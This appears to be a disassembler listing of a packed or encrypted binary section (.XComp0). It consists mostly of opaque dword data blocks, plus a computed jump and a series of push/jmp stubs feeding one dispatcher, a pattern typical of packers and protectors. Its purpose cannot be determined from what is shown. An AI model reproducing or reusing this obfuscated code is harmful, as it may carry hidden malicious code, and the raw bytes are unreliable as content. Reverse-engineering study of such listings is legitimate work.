		dd 845E2998h, 0FD25D0BCh, 0D30EC3CEh, 0E70700ECh, 94AEF4Ah
		dd 1DA0AF70h, 0CF1E30EDh, 0EFE51CEBh, 0E1BBFF6Ch, 112BCB52h
		dd 0B20106E6h, 0BEF2A8F9h, 1BA392A3h, 6A000014h, 73528A87h
		dd 0B520C44Bh, 0A94CF013h, 0B81FC540h, 0F351F314h, 2ED901BEh
		dd 1EEDCFF6h, 2DDCFFE6h, 1EEFD0F7h, 203BFCE6h, 2396C95Dh
		dd 8CD375DAh, 0B4577560h, 71963641h, 0BD64AD7Ch, 9685DB9Eh
		dd 66AB5829h, 3AB617BEh, 32A8FEEDh, 8FB57C8Bh, 83B322AAh
		dd 5C4E94F2h, 0BE509972h, 4169FF78h, 64EF14B6h,	29968519h
		dd 0E103E996h, 4B01FE3Ah, 0BE39E029h, 0EE4BEB20h, 0C740AC13h
		dd 2DB4F6C6h, 0FBC2A541h, 0FD2D2036h, 532F8EE4h, 648A836Ch
		dd 8B7E5D8Ch, 0AC399B46h, 19C9C7BCh, 0B94AA3B3h, 239D39BCh
		dd 0A066749Bh, 48D611CCh, 4BBA1F98h, 893D8F4Ah,	2945021Ah
		dd 6B8D99BDh, 57000001h, 5878638Ch, 6D9E40B7h, 0C178B168h
		dd 85A2DB78h, 642D2996h, 90764FCBh, 60FB980Eh, 2996401Dh
		dd 1224ED9Ah, 45A710D9h, 15F0D9C6h, 0C625C9A0h,	0FB0AAF26h
		dd 5014BF36h, 0F8299645h, 0F40B36D7h, 0A77820C6h, 8C48F451h
		dd 0FE7F9C45h, 7B299628h, 27CE688Eh, 259247C6h,	975243C6h
		dd 6AFC6E77h, 23300930h, 2996285Ah, 64EF2AD7h, 29962819h
		dd 0E845E996h, 522BE811h, 0CF299628h, 55093CD2h, 432F8F51h
		dd 0F6F710BCh, 3EEB1323h, 63021103h, 332C4D0Eh,	0FCA9239Dh
		dd 0A0F83618h, 7C83A48Eh, 0C4A0B64Fh, 16EEB52h,	4F1939C9h
		dd 9CE9B9C4h, 80493623h, 4A875F2Ch, 69A033EAh, 0BF8389B0h
		dd 5FA6132Ch, 0C4464C8Dh, 6CD1F32h, 0AF6C2999h,	0BA4D6D8Ah
		dd 0B51AA582h, 1B845558h, 845558AFh, 0B0578372h, 0F28A4463h
		dd 482D46BEh, 126Ah, 49FB16B9h,	17CD429Eh, 43F90AB0h, 16CE37A4h
		dd 48FC0BAFh, 0E408B7EAh, 0F8D60123h, 0E706F113h, 0F2DBFA22h
		dd 3EFBE91Bh, 96C85C1Dh, 0D474D923h, 7D8831CEh,	9536A178h
		dd 0AB0FDE70h, 85CEAF6Ch, 5E4B2996h, 69867193h,	0FC6E60B4h
		dd 9CB1D0DBh, 95C1FE7Fh, 99717B29h, 0F219206h, 80B970B9h
		dd 279B5777h, 0D0A5B01Fh, 0EC46E821h, 1465F64Bh, 912995D0h
		dd 48BF2B94h, 638C90A6h, 78B15278h, 0B48DB475h,	9685D6A7h
		dd 0C5565329h, 299685B4h, 13E27431h, 41BE63AAh,	54DE709Bh
		dd 249F4771h, 0FF2CA3B9h, 9D5C5198h, 0EEC6B764h, 0DD7E2995h
		dd 2995EE9Ch, 8D7A6C19h, 0A8658A69h, 0F28BC871h, 6F2995EEh
		dd 75929CB2h, 25A8658Ah, 3B78E274h, 4F8AD046h, 5BAE0DAAh
		dd 0DC6F7F5Ah, 2F8F0736h, 0E2719C89h, 1B270694h, 62B01583h
		dd 238B3F5Eh, 831E821h,	193AC9EFh, 2C12F360h, 3ACFEEDDh
		dd 0B2BE6B3h, 0FDC9ED2Eh, 9DCC320Bh, 16C3CA3Dh,	329926DBh
		dd 0BAE37D7h, 4B42CBF4h, 4287806Ch, 0FC26B0ACh,	2418FC45h
		dd 0D2A78D9Eh, 797C8B2Fh, 4F6E69A0h, 0D4B194BAh, 392C16A7h
		dd 0C52A954Ch, 0AB689148h, 201D1DD2h, 1DB0C98Ah, 702D201Dh
		dd 0B37D918Eh, 9162AB14h, 0BC7E826Ch, 770757Eh,	56000011h
		dd 876E967Bh, 5174A867h, 7D689C67h, 5473A95Ch, 0A77D9F68h
		dd 7A8D2D6Ah, 52B923C2h, 69A04BAAh, 62AB14B3h, 0B45F18BAh
		dd 2396C6C9h, 8CDFA146h, 0B3547863h, 2BA26742h,	48F129BFh
		dd 0EFFF0EAFh, 0DE00F742h, 5DF1A82Dh, 8F9A60EAh, 6289762Fh
		dd 0CE7326A7h, 9D70EC8Dh, 9ABC6923h, 0C1487362h, 0AE6D108h
		dd 0E247F105h, 9D10F3D5h, 0A83E2ACCh, 0AF45C772h, 4C4BACFEh
		dd 7BC67383h, 45B25B84h, 0B97065A8h, 52B0B295h,	0AE5B2996h
		dd 0A8618C73h, 0BFB65D86h, 9E1DA446h, 4CB37B67h, 46CB6BA4h
		dd 46DD62AAh, 0A85B7D7Ah, 6B984225h, 769139A6h,	9884AA7Fh
		dd 3Fh,	3169FF6Ah, 0D4164B08h, 0C1CB2F8Fh, 9BB515D6h, 1559E818h
		dd 4E5EFFD5h, 0E9D60BC6h, 0E5D20702h, 42EC0205h, 9CFE7CFFh
		dd 34D9F623h, 306E510h,	1018A392h, 0E9D60000h, 21EAD401h
		dd 0FFF046E8h, 4B083169h, 2F963EA2h, 79D0927Ah,	409A08EDh
		dd 0C42746AEh, 0AC558C45h, 88856A55h, 0B6C75405h, 3323977Ah
		dd 0AC11E076h, 0B47D8C2Fh, 2A30878Dh, 192CBAFh,	3BA443EDh
		dd 4CD3EA0h, 6E1DF7DDh,	2D9345DAh, 0DC4AE009h, 0BCC05B86h
		dd 7629971Ch, 0AAED90CBh, 0BD6A1D97h, 49726199h, 3D7A58BCh
		dd 0F5289FB7h, 0D5FA053Ch, 840B0138h, 7122732Fh, 0FBDA54FAh
		dd 0F9063BD2h, 0CC1539D4h, 71A2C85Eh, 1D983208h, 0A8519885h
		dd 858A6651h, 5ABCDE71h, 7322391h, 9F08314Ch, 5DF1AE17h
		dd 700BE895h, 0AAA4F094h, 0F649C89h, 0CB30000h,	0D8F8DF05h
		dd 0F8E20537h, 0CDEED90Bh, 0F9E10438h, 0C53CD60Eh, 2BD13696h
		dd 33E922CCh, 3CE02994h, 23D93499h, 225BF8C1h, 9F2396C5h
		dd 46CE862Ah, 1965B3F8h, 3C0F1F95h, 2996753Dh, 8B30B82Eh
		dd 622DE95Dh, 8247B2FBh, 0C9259247h, 585DA614h,	94454881h
		dd 0DAA6B582h, 492F955Ch, 0A714C32Ah, 4722935Eh, 15A25782h
		dd 8C5D50B3h, 0BB628B6Ah, 95EADDA0h, 527B5A23h,	89BB76BBh
		dd 52B117A0h, 89688E5Bh, 0B624A964h, 3DFEDD20h,	23366D4Dh
		dd 9FBFC4D1h, 804963A3h, 0CF737359h, 60B45377h,	96B8E8AEh
		dd 74576099h, 7CCE8195h, 92298EADh, 83D1AC67h, 514E1D9Ch
		dd 6B4835BDh, 0BEFDEBDAh, 9B462F40h, 0EA00000Eh, 0F3D20A07h
		dd 35A044CBh, 29CC7093h, 389F45C0h, 73D17394h, 0AE59813Eh
		dd 9E6D4F76h, 0AD5C7F66h, 9E6F5077h, 0A0BB7C66h, 2396C4DDh
		dd 8C53F55Ah, 4423AA63h, 699A409Bh, 965C9864h, 0E0997855h
		dd 0AEDE029h, 0C8AF26E3h, 7F0E526h, 0B1DC24E3h,	0D027F9A5h
		dd 8528C482h, 4EED4D2Fh, 30000006h, 9B7FAEDCh, 16ECDEh
		dd 8931CE3Ah, 8CA2777Eh, 0E51C46D0h, 963E5636h,	49F0AD2Fh
		dd 25E407F0h, 10FDE211h, 29E409ECh, 38E707F0h, 96CC621Bh
		dd 0E722DF23h, 0CA2333E6h, 96CC3C39h, 0D603FC23h, 0E029DCFDh
		dd 5E84124Eh, 0E1D678A3h, 0C2B1298Fh, 0DA39F01Dh, 0BEFF2417h
		dd 0DBE9CCE5h, 2A00000Dh, 33924AC7h, 7560848Bh,	698CB053h
		dd 785F8580h, 0B391B354h, 6E99417Eh, 5EAD0FB6h,	6D9C3FA6h
		dd 5EAF10B7h, 0E07B3CA6h, 2396C39Dh, 8C13B51Ah,	2CE68D63h
		dd 0B2564605h, 4C717677h, 0EBCCC1h, 35A38409h, 0A512C7CEh
		dd 0BCDC043h, 0B808D604h, 5029EA0Fh, 0CD299645h, 93BF3ED0h
		dd 2F1939B3h, 587FE4Dh,	0B6410000h, 0EF1EBF16h,	50E62BFEh
		dd 8931CEEAh, 5E85777Eh, 0CD0A7D30h, 84BEB26h, 2995AD71h
		dd 73AEF462h, 4E8B31CEh, 4316976Ch, 6552078Eh, 5A0F8689h
		dd 673191B4h, 5F1C2F95h, 99BA7FBAh, 2395F4E0h, 1ABA835Dh
		dd 4B6E7525h, 5C817086h, 4D6F88B1h, 379E98BEh, 0E4767796h
		dd 1BF12872h, 9308E6CFh, 7EBB5BCBh, 9CDD7EC3h, 122395BBh
		dd 0BE6B5BA8h, 0D095B598h, 56AB298Eh, 9CA6B4C5h, 0E274311Dh
		dd 788F3B1Ah, 933BA475h, 69A0797Ch, 0FE36CD8Ah,	3F264FBEh
		dd 0CDAh, 994BC629h, 0C77D922Eh, 9349BA20h, 0C67E8734h
		dd 984CBB1Fh, 7458077Ah, 68867193h, 775681A3h, 628B6A92h
		dd 0AE4B79ABh, 96C30C6Dh, 24E48923h, 0AD3346CEh, 84503E22h
		dd 0B35A8372h, 5C807742h, 0D47F2AABh, 299640A9h, 9EB07926h
		dd 2E9F6E4Fh, 8932CD72h, 8EA0797Ch, 34CB636Fh, 5D0C818Ah
		dd 410677A4h, 86832996h, 1CC19B70h, 2A954D2Fh, 77B343C0h
		dd 475h, 8B31CED1h, 0BA5C0D80h,	9685E897h, 0B7239C29h
		dd 0DE14A133h, 0AE636A07h, 0C818C31h, 3BADB95Dh, 54FF3ADFh
		dd 29965929h, 0D855F9A6h, 9612943Bh, 5C7E6D2Fh,	0BE7326A7h
		dd 0BA537C83h, 937A6382h, 8755722h, 8AF320D5h, 7239785h
		dd 0F897B21Ah, 0E177F303h, 0EFD380B9h, 0E2298FCCh, 0E817D625h
		dd 0E40DBEFEh, 0BF901h,	68A94800h, 62AD11B4h, 56AD1BBAh
		dd 63A247AEh, 51B616C1h, 5B1899ABh, 8164986Fh, 698CB05Bh
		dd 72558782h, 0B61CC04Dh, 0C1275201h, 3FA42396h, 0A173CE81h
		dd 0E90E2EB5h, 67122146h, 0E4299657h, 0F7D81737h, 9C11FAE4h
		dd 0E2DD04CDh, 2EB0BF8h, 28510237h, 0A5299657h,	369756F8h
		dd 0EEC649A5h, 8F5569D8h, 8D00C916h, 0C4C946AAh, 0FEDEF7E3h
		dd 57CDC009h, 0B0BC6270h, 4EF60507h, 37FA01E5h,	0F2FAE817h
		dd 7B9C40CDh, 98C35C84h, 29961AE5h, 696CA562h, 0F7699EB0h
		dd 0BF4D2F36h, 0CA8AA14Dh, 0F41A4B70h, 0C28h, 5E8AFA00h
		dd 0AF000003h, 0D264A548h, 8597E86Ch, 0EA7C2996h, 47B089B0h
		dd 84C767A6h, 2F963F52h, 8F7E5F58h, 4F8A777Fh, 85968768h
		dd 2396CCF4h, 0C77DB471h, 90735562h, 0CCCFAA69h, 4F4C2396h
		dd 7E8F30BFh, 8B943CC3h, 96CCADD0h, 0B47D2A23h,	47D149A2h
		dd 36EEE61Bh, 38D7EFE1h, 0AF6CC96Dh, 29902D13h,	0D1BA1906h
		dd 0EBBEFF4Bh, 0AE0DBCAh, 902F0000h, 547C5B81h,	7C5E89BBh
		dd 49725587h, 7D5D88BCh, 41C0528Ah, 0A75DAA12h,	0B76D9E40h
		dd 0A85CAD10h, 0B76DA03Dh, 0CEAF6C0Dh, 4B2396C0h, 638CE2A6h
		dd 93F3588Dh, 0B2194D91h, 4E835657h, 7A615E83h,	45C6288Fh
		dd 6C759950h, 2AAB628Bh, 686DA03Dh, 2DE792C1h, 0B7642996h
		dd 92399C40h, 3C3BB277h, 0FDFA7B94h, 5AFF0DD1h,	98C7F5Dh
		dd 85846750h, 46B55910h, 62AB1418h, 5BB35BAh, 77C4D2Fh
		dd 0C6000000h, 2688Ah, 98E8B600h, 7B299685h, 888CB5EDh
		dd 5FBADF1Fh, 67544B43h, 0A0BB789Eh, 2F95AD3Dh,	2DD40DFAh
		dd 0EDE02D92h, 0F31AC33Ch, 0E22B9463h, 0BE329B3Ah, 75607425h
		dd 0B538F1E3h, 2CE30BF4h, 25EF0A9h, 2C934E94h, 0A34647C0h
		dd 96040578h, 4C858223h, 2E9F6653h, 0A35EDB7Bh,	0BB5BB41Ch
		dd 8F282A98h, 72A15829h, 1D9CE007h, 116CA784h, 8E1D9CE0h
		dd 3EB65891h, 40877241h, 0EC05BEFEh, 9D509h, 54BD2400h
		dd 66A945B0h, 52B117BEh, 679E4BAAh, 5DAA12B5h, 67148DA7h
		dd 75608483h, 6590B457h, 76618386h, 6290B459h, 0BFF38695h
		dd 0FB702396h, 0F946CE3Dh, 1ABB643Eh, 199C6751h, 86658940h
		dd 4631A469h, 91A447A9h, 5AAC42B3h, 0B4191E8Fh,	65535459h
		dd 525179Eh, 76289E49h,	4F9B6AC2h, 88D805Dh, 0EB8C9851h
		dd 76740516h, 34F12996h, 0F5F7E322h, 0B9A118D8h, 0D2E52C10h
		dd 401CE517h, 144D2F9Dh, 80C501C0h, 0C96DFBB1h,	135Dh
		dd 0B117A000h, 0CE76BC52h, 787D8831h, 465C8DA1h, 0A4000001h
		dd 968598E8h, 0B5ED7B29h, 0CF8CB58Ch, 299685AEh, 75D87E2Bh
		dd 2F963F6Ch, 9EDF7C19h, 1B2396CCh, 817EA36Eh, 0B188B15Ch
		dd 96CCD7A2h, 9B6E4D23h, 0A25F3F1Ah, 9A43A28Ch,	7805BD56h
		dd 7DB45A5Ah, 0A446B178h, 2999E46Fh, 69162397h,	0DA7C2DA0h
		dd 17C2188Eh, 904DC6FCh, 0EFCCB929h, 0BEFF6612h, 0CB866F80h
		dd 1A000008h, 43A25AB7h, 25D0749Bh, 399C40C3h, 28CF7590h
		dd 83A143C4h, 9E69510Eh, 0AE5D7F66h, 9D6C4F76h,	0AE5F8067h
		dd 70AB4C76h, 2396BF0Dh, 0CE23E58Ah, 8595E873h,	15122996h
		dd 0ECDF201h, 21945DB2h, 61157458h, 5EE3D8E4h, 899439B8h
		dd 0B3DAA3B0h, 0AA572995h, 95B3F089h, 79B06D29h, 9FDA79C0h
		dd 1C2995B3h, 7E16CF5Fh, 0CB1BBA7h, 0EEF4D801h,	0D94B0BD0h
		dd 0FE032DC1h, 4D2F8162h, 314C0732h, 0AE29959Dh, 243815D4h
		dd 2EE395DBh, 181C08h, 0EDDF0000h, 0A23B17F0h, 44CF0A7Ch
		dd 29958C39h, 0F25C9B6h, 348Ah,	638CB600h, 9B4423AAh, 4F7C7B72h
		dd 92383FB6h, 16F17C71h, 281F16C8h, 69A0743Ah, 0B986587Dh
		dd 0EAF3ED0h, 0D83CDDFFh, 5172BFC7h, 0C425C99Fh, 64h, 0BA638CFCh
		dd 9685E099h, 37A05D29h, 0AE7B7291h, 0D883BE63h, 299685A5h
		dd 93E67522h, 10299685h, 0AF38DE13h, 96855624h,	21EED229h
		dd 0E71ECBACh, 4E3FD0F0h, 24FAE8DFh, 822C3A55h,	622D938Ah
		dd 3ED0826Ah, 0BD0F0EAFh, 0E43B0F50h, 3A43D0DBh, 0B729959Ch
		dd 3CDDFFCAh, 0E0AF51D8h, 33AC7EB2h, 0CC72848Bh, 95E873CEh
		dd 12299685h, 0CDF20115h, 0BE63E123h, 765E1B44h, 51AA2F4Bh
		dd 89B07910h, 0A7843883h, 55F97DC3h, 0EED2ED8Ch, 0F217B621h
		dd 5C082EFBh, 4E6990CAh, 23199C71h, 0DB78B72Fh,	58FE33C9h
		dd 92AD40DBh, 7A852F95h, 0A34AB552h, 94BA6F66h,	0D9A4AF5Ch
		dd 4F23961Fh, 7C2DA06Fh, 0AD549D8Ah, 5A5BA812h,	77C26F7Fh
		dd 23AA5B80h, 0AC11E076h, 0B31CBB61h, 2996535Ah, 0BAA648C3h
		dd 0F019C42Ch, 390039h,	961F2A53h, 54FAA723h, 95D887F1h
		dd 0E0190629h, 0D29457ECh, 28CE8194h, 52CBF40Bh, 9642B8C1h
		dd 7B902E1Dh, 423F9F7Ah, 8DB45587h, 9642ABCEh, 997B281Dh
		dd 0DD802933h, 46A54956h, 42BD64A9h, 6DF6F9Ch, 0B8639E63h
		dd 1D9636C5h, 0C3B64542h, 401D9636h, 99725C43h,	0B5B14514h
		dd 0E326C523h, 47F237F2h, 1F4B44C5h, 0FD112BDBh, 9300930h
		dd 95EC2F4Ah, 64EFAC1Dh, 1D95EC19h, 245E996h, 238F1598h
		dd 4435E6D3h, 0BA179CC3h, 1411F512h, 2437FEDDh,	648DA4FEh
		dd 66981h, 0F819B800h, 0D23DA144h, 0E61DCB2Ah, 0D332973Eh
		dd 0E126C631h, 0EBA8E93Bh, 0F1D408FFh, 399C40CBh, 22C57792h
		dd 46AC50BDh, 0BC97E271h, 0AF142396h, 8C31CE11h, 179E6D4Fh
		dd 53068742h, 828B34C3h, 8D7E6057h, 0C728CF69h,	0B6249B46h
		dd 0F687944Dh, 73299685h, 6047A0B6h, 8D078E7Fh,	1FC0ACBAh
		dd 2ED901FEh, 96856C0Dh, 0BF8E229h, 123EE9Bh, 0D03F9F18h
		dd 25EA0CDDh, 4D2F5D4Bh, 9F3AA41Bh, 0F006CB3Ah,	5F34h
		dd 73CE0E00h, 968595E8h, 1151229h, 72A7F365h, 4D9030C7h
		dd 6B549D70h, 55048980h, 0D4CF8EC1h, 65842F8Fh,	57128386h
		dd 25926792h, 985144C7h, 0B5547776h, 1C22AA8Fh,	0F89089A5h
		dd 0F883C668h, 72239CE8h, 9E19C04Dh, 13C6C73Ch,	0D0C53EACh
		dd 9C3BF519h, 0C045A631h, 83A18409h, 0DF000005h, 7E8931CEh
		dd 0DC77A277h, 299685A1h, 91CD611Eh, 0F526DB07h, 2F8F9A0Dh
		dd 1D0A8B78h, 2B944DC0h, 3EA747BEh, 158AD8AFh, 2AA25783h
		dd 0A9D3C8DAh, 85069610h, 0C2B60AAFh, 0EF4AE707h, 0AF26E708h
		dd 28DBFDFAh, 0EF62F4A5h, 2995AB17h, 6B9842BDh,	0AC5F7D6Ah
		dd 80B97029h, 0A381AAD3h, 0D47A271Dh, 8DBD5F1Ch, 0DF1ABF1Bh
		dd 0C83B9D1Ah, 0A381522Bh, 3CD2CF1Dh, 9C95F909h, 36B76423h
		dd 0C37E8931h, 0D777903Ch, 45C0290Eh, 85846750h, 0D66B3C10h
		dd 43057726h, 16C816F1h, 4ED1FD0Ch, 755782D8h, 59ECFC0Fh
		dd 0D461F5A6h, 0A36ABF47h, 659C651Dh, 0B141C3B6h, 0B8434011h
		dd 11B141C5h, 49B14542h, 635CA55Ch, 0F687947Bh,	7311B141h
		dd 42B35C84h, 9635A267h, 0B059E373h, 0DFF8725Ch, 0DD7E33F6h
		dd 11B1339Ch, 91A56C19h, 1D907D62h, 0A458B51Ah,	0BB547C83h
		dd 93CF5F3Ah, 0CC43AB05h, 9A25DC05h, 8E1D431h, 64DF63E6h
		dd 0D5D217AAh, 33E019E0h, 0BB8014Ah, 1134DAC7h,	0BB80164h
		dd 9D10FDE2h, 0DFD6339Ah, 0D886D43Bh, 0AD99C540h, 50F1DD33h
		dd 59F4h, 0BB04700h, 0FFDE54FAh, 2CDBFF69h, 2A5300A9h
		dd 0A7299685h, 23C82FFAh, 0F33EEBE2h, 981D0D4Eh, 0A1732F8Fh
		dd 0C6DFDBE4h, 80789E8Ah, 50671283h, 0C6DAE6Fh,	89239D6Bh
		dd 8960559Ch, 6A93E265h, 0CD72239Dh, 6A96E774h,	1613239Dh
		dd 0F1D50100h, 48D6467Fh, 15B38h, 638C0A00h, 0F44C78Dh
		dd 0BC6D60AFh, 0F2765C58h, 0B223E605h, 0BCBB32F7h, 9050710h
		dd 2FAFD2DBh, 3FED90ABh, 0BD6A2996h, 59768174h,	99878DB4h
		dd 0F07A463Eh, 0D41DF2CEh, 0F08BEE2Dh, 1B082995h, 0E805F2FBh
		dd 2E18FC25h, 0C9FF8BF3h, 0EC370115h, 2995DF78h, 0E631BF20h
		dd 2EB3C5D0h, 0E2DD04CDh, 51EB0BF8h, 0C88BE4E8h, 0F5AADD96h
		dd 0E02D9261h, 0BFEB7DEDh, 965BE994h, 70B96629h, 8AC970C9h
		dd 29965BEFh, 0D9A4AF6Ch, 5629965Bh, 6BA885A9h,	2F8F71EBh
		dd 0D63597B6h, 80F91ADFh, 0FD239D46h, 0DC00C900h, 2455063Bh
		dd 0A1239D46h, 801652E4h, 0EE2D9F5Ah, 0C274BDC5h, 0FE1D1A3Ch
		dd 29989662h, 108B34Ch,	0C139DD8Ch, 38A21DC4h, 0D6D73299h
		dd 12C7CE03h, 24C82FFCh, 369641E3h, 19D03F9Fh, 0F23179BAh
		dd 433243BEh, 30Ah, 699B7659h, 77AD627Eh, 63996A50h, 76AE5784h
		dd 689C6B4Fh, 0C42857CAh, 9836A143h, 0C726D173h, 923B9A42h
		dd 5E1BC97Bh, 96B8BCBDh, 0F4943923h, 5875608Ch,	64F45598h
		dd 0C8017A35h, 24DD14C5h, 8A3B3EDDh, 0BCC62995h, 7FA499F4h
		dd 29CDBA2Ch, 308D2A0Fh, 15BA39DDh, 0D80B7FDBh,	0CE07276h
		dd 0A97D9674h, 8F4A7F56h, 4F46C728h, 64BA749Ah,	83169FFh
		dd 193DCCEFh, 982FFF1Ch, 0BC852F8Fh, 9D72DE9Fh,	88AE5B23h
		dd 7742B370h, 59366A95h, 0E175E0DBh, 9CC1076Eh,	6651E623h
		dd 5C0D8085h, 7C927963h, 379D517Dh, 5BF73888h, 0D82DC1C7h
		dd 48D68304h, 807E7D0h,	0FEEBD485h, 93BE707h, 6000001h
		dd 1638D3F9h, 0AA638C20h, 51798623h, 0D423E799h, 5C95E9C9h
		dd 788F3BBAh, 729736C1h, 596603DCh, 0D3769873h,	2995BE91h
		dd 0C3799439h, 0FD809B66h, 7A2995B4h, 658A698Dh, 23B525A8h
		dd 0D4CA42F7h, 99E6A1AEh, 0FA3FEC02h, 9A69143Fh, 39E62995h
		dd 0B0203215h, 3EEB2F8Eh, 3A962106h, 0E509E0D5h, 8EB3EF79h
		dd 659E4CB3h, 9C84A3D6h, 0BDC05B23h, 3A239C84h,	8AAC594Dh
		dd 75936EADh, 3002998h,	0DCF9E1DEh, 25DC15EEh, 37D7349Ah
		dd 15F2DAFDh, 0F2176BC6h, 0D1819BEh, 1AAh, 93BD6F9h, 0D70D02DEh
		dd 339CAF0h, 0D60EF7E4h, 83CCBEFh, 24C8F72Ah, 389641E3h
		dd 27C631D3h, 329B3AE2h, 0FEBB29DBh, 96B71C5Dh,	94349923h
		dd 808B31CEh, 3BBA5C0Dh, 78C1788Fh, 8FAC5B7Fh, 299685EEh
		dd 9E98BE6Bh, 0F7F59379h, 0DEB35FD2h, 0FE5D57Dh, 8DA1046Bh
		dd 745A815Eh, 25A75297h, 880C2B8Fh, 5B817EBCh, 7A949EB0h
		dd 23AA638Ch, 8678E86h,	0DC8F586h, 95892B4Eh, 36FBA829h
		dd 21ECD120h, 0A8B61EFBh, 432DD582h, 2C4D0E33h,	0A9299643h
		dd 980E5AFCh, 0B1629742h, 299643C8h, 9E745845h,	0BC895B62h
		dd 1BE653E3h, 306E43B9h, 5EF04DD6h, 96078DEBh, 0B267142Fh
		dd 6D60A345h, 0A8519ABCh, 9F5AA90Fh, 96960974h,	75998623h
		dd 5D825976h, 1C0EA393h, 35FC22F2h, 409D48FCh, 40AB14CDh
		dd 115C4C9h, 23C5BE8h, 5D7E7743h, 0D78425A8h, 0CFEAE3A6h
		dd 55796623h, 0C34933BAh, 0F6929071h, 0E1ED086Ch, 0A429E00Bh
		dd 70393CF5h, 6EF8AC9h,	0AF6CCFEBh, 0BC72609Fh,	6A3D685h
		dd 0C05BCFEBh, 0CFEB06BDh, 0AC594D3Ah, 8B826B8Ah, 0CC516E59h
		dd 73808733h, 0CFEB070Ah, 5E4F9A87h, 4EB7249Bh,	2E9F6A51h
		dd 0AF1CDB7Bh, 6C4B566h, 4441CFEBh, 6EAD548Dh, 0CFEB070Bh
		dd 4C807E88h, 8F32798Dh, 4C2BB45Ah, 1AEC4CA2h, 0A1DE5785h
		dd 59826568h, 285F29ACh, 61DE643Ah, 7C927756h, 725B517Dh
		dd 37C0699Bh, 12E17594h, 80B960ADh, 0EACEAAD3h,	0D47A27CFh
		dd 0C2A0Bh, 0F560000h, 0C087DA32h, 0C615ACC6h, 658C0A30h
		dd 0A13E29ACh, 5F7E696Ch, 9A4423AAh, 4F7B7C71h,	8A3235B8h
		dd 4A6F787Dh, 8B2D3ABBh, 4E727578h, 521BCCC1h, 0C2815A54h
		dd 4, 8704EA83h, 685C2414h, 73E4h, 68240489h, 65A9h, 0B8243C89h
		dd 3CB12A5Bh, 5D4F2540h, 0D0F737A2h, 4BBB5348h,	81441C1Fh
		dd 8F1EA2CBh, 94C38154h, 2970C11Dh, 40685BD8h, 89000068h
		dd 4812424h, 424h, 0EC835F00h, 241C8904h, 8BBh,	89FB0100h
		dd 34FF5B03h, 0C4835F24h, 2434FF04h, 4C48158h, 0E9000000h
		dd 0FFF9AE32h, 8349EFA9h, 0D0C45233h, 80A04096h
; ---------------------------------------------------------------------------


loc_5D86D4:				; CODE XREF: .XComp0:loc_5D6F8Fj
		mov	eax, 5FFD062h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 77h,	0ACh, 0ADh
		dd 0C0241A4Fh, 6A125555h, 592D353Ah, 40D1692Bh,	1529FD5Bh
		dd 0A883932Ah, 0F3DCCE6Fh, 0E957B41Ch, 2DF22714h, 0B6B7F938h
		dd 4D33B76Ah, 26F10F74h, 1BFBFD76h, 47B9A94Fh, 47AEE41h
		dd 443E7D1Bh, 1C70E052h, 0A416CF2Dh, 82145249h,	0EB07E82Ch
		dd 0A8D8D61h, 6A05FFD2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3501C356h, 8D89357Dh
		dd 5F90CDDh, 0C7DFBF0Fh, 0F926C185h, 5E3C05h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8890F67h, 57000000h,	7798509h, 0B65E05F9h, 0FD85C7B3h
		dd 5F900h, 0F000000h, 682h, 899D8B00h, 0FF05F910h, 0F91091B5h
		dd 0FE905h, 93EB0000h, 0DDD2343Ch, 0C0A36D01h, 5312039h
		dd 0D595FFBBh, 6A05F920h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 4BDFC357h, 1BE75084h
		dd 517EAB9h, 95FF006Ah,	5F91AEDh, 9EBC08Bh, 0F58619Bh
		dd 0D228E9F4h, 18EE9A9h, 6B6D0000h, 2C276E17h, 98D31AD5h
		dd 0D1D746B1h, 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h
		dd 92A59EB9h, 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh
		dd 45D2009Eh, 0EE73AFC9h, 9755FC00h, 6D599CBAh,	0FFB2A4E5h
		dd 0F647FEACh, 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h
		dd 0CD45C9BCh, 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
		dd 97000000h, 33A26D84h, 0EE69F0h, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D9FE8
; ---------------------------------------------------------------------------
		push	5FFD606h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFD773h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFD9EAh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFDB2Fh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFDD03h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFDE4Eh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFDF4Bh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFDFCEh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE111h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE1DAh
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE2C2h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE398h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE452h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE641h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
		push	5FFE7C6h
		jmp	loc_583A19
; ---------------------------------------------------------------------------
aR51U3uR64	db 'à5Æ1ìÄ-*ã-È3îÍ*-à6Ç4»',0
		db 6Bh,	49h, 0ACh
		dd 47B662AFh, 0AF466DB4h, 45B065ACh, 7ED737B2h,	9F20D6E2h
		dd 262FAD5Ah, 3E8306F1h, 0CC2BCC99h, 0BF1802E1h, 9ADF0225h
		dd 3D1DE2A1h, 0FFEA09A8h, 0C754D724h, 351BBD6Ah, 0DF02009Ch
		dd 0FAC5BC9Ah, 0ABFC55C5h, 9B9CA033h, 5851A456h, 0A55C407Bh
		dd 19CCA4B5h, 0A9C7A556h, 0E2037B6Eh, 40DD5E53h, 3DB45C15h
		dd 74D43582h, 749F26B9h, 34C4215h, 94827B24h, 3Bh, 4861E028h
		dd 10147DD6h, 170A9CA0h, 0C134E227h, 0A22A83F6h, 0BE9F2610h
